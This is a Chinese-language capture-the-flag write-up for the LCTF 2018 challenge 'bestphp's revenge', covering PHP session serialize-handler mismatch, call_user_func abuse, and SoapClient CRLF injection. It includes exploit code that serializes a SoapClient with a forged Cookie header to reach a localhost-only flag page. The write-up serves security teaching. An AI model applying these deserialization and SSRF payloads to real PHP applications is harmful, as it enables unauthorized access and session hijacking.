[LCTF 2018]bestphp‘s revenge

文章目录


前置知识

call_user_func()函数

把第一个参数作为回调函数调用

eg:通过函数的方式回调

复制代码
 <?php 
 function barber($type){
    echo "you wanted a $type haircut, no problem\n";
 }
 call_user_func('barber','mushroom');

若调用类中的静态方法

结构为call_user_func(array("nss","ctf"))

复制代码
class nss{
    static function ctf(){
        include("./hint2.php");
    }
}

解释:使用 call_user_func() 函数时,需要传递一个数组作为第一个参数。数组的第一个元素是类名,第二个元素是要调用的静态方法名。

session反序列化

我们先通过一个样例代码,看看3种不同的 session 序列化处理器处理 session 的情况。

复制代码
<?php
session_start();
$_SESSION['name'] = 'mochazz';
?>

当 session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";

当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}

当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";

而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞

php引擎会以|作为作为key和value的分隔符,我们在传入内容的时候,比如传入

复制代码
$_SESSION['name'] = '|username'

那么使用php_serialize引擎时可以得到序列化内容

复制代码
a:1:{s:4:"name";s:9:"|username";}

然后用php引擎反序列化时,|被当做分隔符,于是

复制代码
a:1:{s:4:"name";s:9:"

被当作key

复制代码
username

被当做vaule进行反序列化

于是,我们只要传入下面结构即可触发漏洞

复制代码
$_SESSION['name'] = |序列化内容

PHP原生类SoapClient

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。

  • 通过调用SoapClient不存在的方法,触发SoapClient的__call魔术方法
  • 通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容

由于其内置类有__call方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中(结合CRLF注入)

示例如下

复制代码
<?php
$target = 'http://127.0.0.1/flag.php';		//SSRF
$post_string = 'token=ctfshow';		//要post的命令
$ua="ctfshow\r\nCookie:PHPSESSID=123456\r\n";
$a=new SoapClient(null, array('uri'=>'http://127.0.0.1/','location'=>$target,'user_agent'=>$ua));
echo urlencode(serialize($a));

可ssrf伪造为

复制代码
user_agent:ctfshow
Cookie:PHPSESSID=123456

解题步骤

打开题目,源码如下

复制代码
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

可以发现启用了session_start(),并且存在session反序列化漏洞,然后取session的第一项与welcome_to_the_lctf2018构成数组,进行implode函数拼接

我们扫描一下目录,发现有flag.php,直接访问得到提示

复制代码
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

说明我们要伪造ip,这里我们便可以利用 SoapClient 类的 __call 方法来进行 SSRF

思路就是利用SoapClient 类构造出ssrf的序列化字符串,然后利用call_user_func修改配置,造成序列化与反序列化引擎不同的漏洞,然后调用extract函数去变量覆盖,调用SoapClient类,从而触发__call 方法

第一步:由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header ,构造 SoapClient 类,并用php_serialize引擎进行序列化,存入session

PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session的配置项。这个特性也引入了一个新的 php.ini 设置(session.lazy_write)

我们可以利用回调函数,通过给f传参,值为session_start,然后post提交array('serialize_handler'=>'php_serialize')

即达到session_start(array('serialize_handler' => 'php_serialize')) ,将会根据php7特性设置session.serialize_handler=php_serialize。而又因为session是可控的,可以通过传入name值,任意伪造。这里就想到name传入的是序列化值了

exp构造如下

复制代码
<?php
$target = 'http://127.0.0.1/flag.php';		//SSRF
$ua="ctfshow\r\nCookie:PHPSESSID=123\r\n";
$a=new SoapClient(null, array('uri'=>'http://127.0.0.1/','location'=>$target,'user_agent'=>$ua));
echo "|".urlencode(serialize($a));

然后bp抓包,修改参数值

实现session伪造,然后就是调用extract函数变量覆盖题目的implode函数,使得再次调用call_user_func函数,构造出下面命令

复制代码
call_user_func(array("SoapClient","welcome_to_the_lctf2018"))

然后成功调用__call方法,从而发送 HTTP 和 HTTPS 请求进行ssrf

最后直接在index.php处用cookie值123456即可

(因为该cookie是我们ssrf伪造的,所以cookie对应的是请求127.0.0.1)

相关推荐
moxiaoran575313 分钟前
uni-app学习笔记二十三--交互反馈showToast用法
笔记·学习·uni-app
rorg6 小时前
使用 Laravel 中的自定义存根简化工作
php·laravel
DevSecOps选型指南7 小时前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
ABB自动化7 小时前
for AC500 PLCs 3ADR025003M9903的安全说明
服务器·安全·机器人
恰薯条的屑海鸥8 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
喜欢吃燃面8 小时前
C++刷题:日期模拟(1)
c++·学习·算法
阿部多瑞 ABU9 小时前
主流大语言模型安全性测试(三):阿拉伯语越狱提示词下的表现与分析
人工智能·安全·ai·语言模型·安全性测试
2301_797604249 小时前
学习记录:DAY32
学习
蓝婷儿10 小时前
6个月Python学习计划 Day 16 - 面向对象编程(OOP)基础
开发语言·python·学习
网安INF10 小时前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞